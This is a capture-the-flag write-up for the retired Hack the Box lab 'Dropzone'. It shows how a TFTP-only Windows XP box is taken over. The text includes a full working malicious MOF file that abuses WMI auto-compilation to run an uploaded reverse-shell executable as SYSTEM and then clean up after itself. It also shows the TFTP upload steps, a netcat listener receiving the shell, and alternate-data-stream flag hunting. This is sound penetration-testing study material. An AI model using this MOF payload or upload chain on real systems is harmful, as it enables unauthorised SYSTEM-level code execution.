Today we are going to solve another CTF challenge “Dropzone”. Dropzone is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Medium
Task: To find user.txt and root.txt file
Let’s start off with nmap command to find out the open ports and services.
Nmap – udp
PORT STATE SERVICE VERSION
69/udp open tftp SolarWinds Free tftpd
Initial Access
Managed Object Format
There weren’t a whole lot of options for a way forward on this box. We were limited to a single UDP port with the ability to read from / write to the filesystem. The key was to leverage that limited capability into RCE. Enter Managed Object Format (MOF) files.
There is an excellent write-up on MOF files and how they were used by Stuxnet here. If the topic is new to you, please take a look there. Any explanation of mine will pale in comparison. When reading through that write-up, you’ll notice that Windows XP exhibits some interesting behavior regarding MOF files and Windows Management Instrumentation (WMI).
- MOF files loaded into
C:\windows\system32\wbem\mof
are auto compiled and registered into the WMI repository - Registered MOF consumers run with SYSTEM privileges
These two things together are a good indicator of the way forward, given our current situation. However, it would be good if we could confirm that we’re actually dealing with a Windows XP machine before proceeding.
EULA.txt
Because we can only read from the filesystem via tftp
, we can check the Windows version and service pack by grabbing the End-User License Agreement. There are two places to check for this (that vary based on version).
On Windows XP it’s found at C:\windows\system32\eula.txt
.
Windows 7 stores the EULA at C:\Windows\System32\license.rtf
.
We can use our current access to grab the EULA and verify that we’re dealing with Windows XP.
tftp
connect 10.10.10.90
verbose
get windows/system32/eula.txt
/root/htb/dropzone/eula.txt
════════════════════════════
END-USER LICENSE AGREEMENT FOR MICROSOFT
SOFTWARE
MICROSOFT WINDOWS XP PROFESSIONAL EDITION
SERVICE PACK 3
IMPORTANT-READ CAREFULLY: This End-User
License Agreement ('EULA') is a legal
-------------8<-------------
Now we know that we’re dealing with Windows XP SP 3 and can move forward with our malicious MOF plan.
Creating a MOF File
To generate a malicious MOF file, I pored over blog posts. I read through Microsoft developer docs. I altered, tweaked, uploaded, and failed. Many times. Though, while researching, I found an interesting file in the metasploit framework, wbemexec.rb. This file was the golden ticket for me.
I tell you about my failures, because in the end, I cheesed it. The file linked above contains a function called generate_mof
. I took the template MOF it kept for use inside MSF and replaced code in the same places that metasploit would in order to generate a final payload.
The code below is my final puckie.mof
. I really only had to change the name of the class and the executeable to run as shown in the highlighted code below.
#pragma namespace("\\\\.\\root\\cimv2")
class StuffAndThings
{
[key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
[key] string Name;
[not_null] string ScriptingEngine;
string ScriptFileName;
[template] string ScriptText;
uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
Name = "ActiveScriptEventConsumer";
CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
Provider = $P;
ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Instance of ActiveScriptEventConsumer as $cons
{
Name = "ASEC";
ScriptingEngine = "JScript";
ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"C:\\puckie.exe\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"StuffAndThings\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";
};
instance of __EventFilter as $Filt
{
Name = "instfilt";
Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"StuffAndThings\"";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding as $bind
{
Consumer = $cons;
Filter = $Filt;
};
instance of StuffAndThings as $MyClass
{
Name = "ClassConsumer";
};
Before we register our MOF file, we need to create the puckie executable (netcat reverse shell) , get it onto the box, and start a listener.
c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:Simple_Rev_Shell443.exe Simple_Rev_Shell443.cs Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931 for Microsoft (R) .NET Framework version 3.5 Copyright (C) Microsoft Corporation. All rights reserved. Simple_Rev_Shell443.cs(64,34): warning CS0168: The variable 'err' is declared but never used
A quick tftp
will get puckie.exe
in place.
tftp
tftp> connect 10.10.10.90
tftp> binary
tftp> verbose
Verbose mode on.
tftp> put puckie.exe
putting puckie.exe to 10.10.10.90:puckie.exe [octet]
Sent 73802 bytes in 10.0 seconds [59042 bits/sec]
MOF Upload
With all the necessary pieces in place, we can upload our MOF file to the box. Recall the path to the folder where MOF files are automatically compiled is C:\windows\system32\wbem\mof
. We’ll reuse our tftp
connection to drop our MOF file there in the hopes that we receive a callback.
tftp> put puckie.mof windows/system32/wbem/mof/puckie.mof
putting puckie.mof to 10.10.10.90:windows/system32/wbem/mof/puckie.mof [octet]
Sent 1378 bytes in 0.3 seconds [36747 bits/sec]
Almost instantly, we get a callback.
root@kali:~/htb/dropzone# nc -nvlp 443 listening on [any] 443 ... connect to [10.10.14.20] from (UNKNOWN) [10.10.10.90] 1034 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
root.txt
It seems that the creators felt that dropping onto a box as SYSTEM was a little too easy because where we would normally see root.txt
, we are instead greeted with this message.
C:\docume~1\administrator\desktop\root.txt
════════════════════════════
It's easy, but not THAT easy...
2 for the price of 1!.txt
Also on the desktop, there is a folder named flags
. Inside there is a file named 2 for the price of 1!.txt
. Here are the contents.
C:\docume~1\administrator\desktop\flags\2 for the price of 1!.txt
════════════════════════════
For limited time only!
Keep an eye on our ADS for new offers & discounts!
Alternate Data Streams
The ADS in the file above is a pretty strong hint pointing us toward alternate data streams. Luckily for us, there is a great sysinternals tool streams.exe
that is made specifically for examining alternate data streams. Let’s get it on target and see what there is to see.
meterpreter > upload /usr/share/windows-binaries/streams.exe
C:\> streams.exe -accepteula -s C:\docume~1\administrator\desktop\flags
Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\docume~1\administrator\desktop\flags\2 for the price of 1!.txt:
:root_txt_331...:$DATA 5
:user_txt_a6a...:$DATA 5
Author: Puckiestyle